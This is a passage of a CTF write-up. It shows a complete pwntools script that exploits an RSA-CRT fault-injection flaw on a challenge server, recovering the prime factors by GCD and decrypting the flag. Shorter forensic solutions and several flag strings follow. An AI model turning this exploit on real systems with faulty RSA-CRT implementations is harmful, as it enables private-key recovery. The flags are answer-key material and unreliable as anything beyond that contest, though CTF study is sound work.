conn.sendlineafter(b'Input Sign(int, int) : ', f'{sign[0]}, {sign[1]}'.encode())
response = conn.recvall(timeout=2)
print(response.decode())
🚩scpCTF{af2debe48aab70716b448acf5396d484}

There is a table of contents for encryption, decryption, and flags
This is a problem that exploits a fault inspection vulnerability in RSA-CRT implementations. We take advantage of the fact that RSA-CRT can recover a private key by injecting fault into a particular calculation process.
def decrypt(self, ct):
ct = int(ct, 16)
err_prob = randrange(100)
p, q, dp, dq, qinv = self.prikey
m1, m2 = pow(ct, dp, p), pow(ct, dq, q)
if err_prob == 0:
m1 = m1 ^ 2**randrange(2048) # Fault Injection
m = m2 + (m1 - m2) * q * qinv
m = m % self.pubkey[1]
return long_to_bytes(m).hex()
m = m2 + (m1 - m2) * q * qinv
m = m % self.pubkey[1]
return long_to_bytes(m).hex()
This is vulnerable to CRT-RSA fault attack
Thus, calculating the GCD of |m - m'| and N yields p or q.
if err_prob == 0:
m1 = m1 ^ 2**randrange(2048)
In the decrypt method, inject a fault with a probability of 1% (when err_prob == 0).
This is subject to CRT-RSA fault attack. The secret key can be recovered using the difference between modulated m1 and normal decryption results.
from pwn import *
import gmpy2
from Crypto.Util.number import *
def get_normal_and_faulty(conn, ct_hex):
values = set()
for _ in range(300):
try:
conn.sendlineafter(b'>> ', b'2')
conn.sendlineafter(b'Input CipherText(hex) : ', ct_hex.encode())
pt_hex = conn.recvline().strip().decode()
pt_val = int(pt_hex, 16)
values.add(pt_val)
if len(values) >= 2:
return list(values)
except Exception as e:
print(f"Decryption attempt failed: {e}")
continue
return None
def main():
try:
conn = remote('44.210.9.208', 10006)
#conn = process(["python3", "error.py"])
print("[+] Creating test ciphertext...")
conn.sendlineafter(b'>> ', b'1')
test_pt = '1234'
conn.sendlineafter(b'Input PlainText(hex) : ', test_pt.encode())
ct = conn.recvline().strip().decode()
print(f"[+] Test ciphertext: {ct}")
print("[+] Collecting normal and faulty decryptions...")
results = get_normal_and_faulty(conn, ct)
if not results or len(results) < 2:
print("[-] Failed to get faulty decryption")
conn.close()
return
val1, val2 = results
print(f"[+] Got two different values:")
print(f" Value 1: {val1}")
print(f" Value 2: {val2}")
print("[+] Getting flag encryption...")
conn.sendlineafter(b'>> ', b'3')
flag_response = conn.recvline().strip().decode()
try:
flag_info = eval(f"({flag_response})")
flag_n, flag_ct_hex = flag_info
except:
print("[-] Failed to parse flag info. Raw response:")
print(flag_response)
conn.close()
return
print(f"[+] Flag modulus N: {flag_n}")
print(f"[+] Flag ciphertext: {flag_ct_hex}")
print("[+] Calculating GCD to find factor...")
diff = abs(val1 - val2)
p = gmpy2.gcd(diff, flag_n)
if p == 1 or p == flag_n:
print("[-] Failed to find prime factor")
conn.close()
return
q = flag_n // p
print(f"[+] Found factors:")
print(f" p = {p}")
print(f" q = {q}")
print("[+] Decrypting flag...")
e = 0x10001
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag_ct = int(flag_ct_hex, 16)
flag_pt = pow(flag_ct, d, flag_n)
try:
flag = long_to_bytes(flag_pt)
print(f"[+] Flag: {flag.decode()}")
except:
print(f"[+] Raw decrypted value: {flag_pt}")
except Exception as e:
print(f"[-] Error occurred: {e}")
finally:
try:
conn.close()
except:
pass
if __name__ == '__main__':
main()
In function get_normal_and_faulty, decrypt the same ciphertext multiple times to get normal results and results with fault.
diff = abs(val1 - val2)
p = gmpy2.gcd(diff, flag_n)
Calculates the difference between normal decryption values and decryption values with fault.
If you obtain this difference and the GCD of flag_n, you get p or q.

🚩scpCTF{5e76190274ad6704705cc448a3ab77d8}
Forensic

There was nothing in the problem file, so I saw it using the hxd.

I checked PNG header signature with hxd.

I checked the PNG footer signature with hxd.
So I cut the file with footer and header




The QR code was split into four, so I combined it.

I found the flag when I took the QR code.
🚩scpCTF{Co113cT_d1V1d3d_QRc0d3}
There was a pcapng file, so I analyzed it with wireshark.
And I got flag while checking Follow TCP Steam.

🚩scpCTF{n3tw0rK_hTTp_tr4ff1c}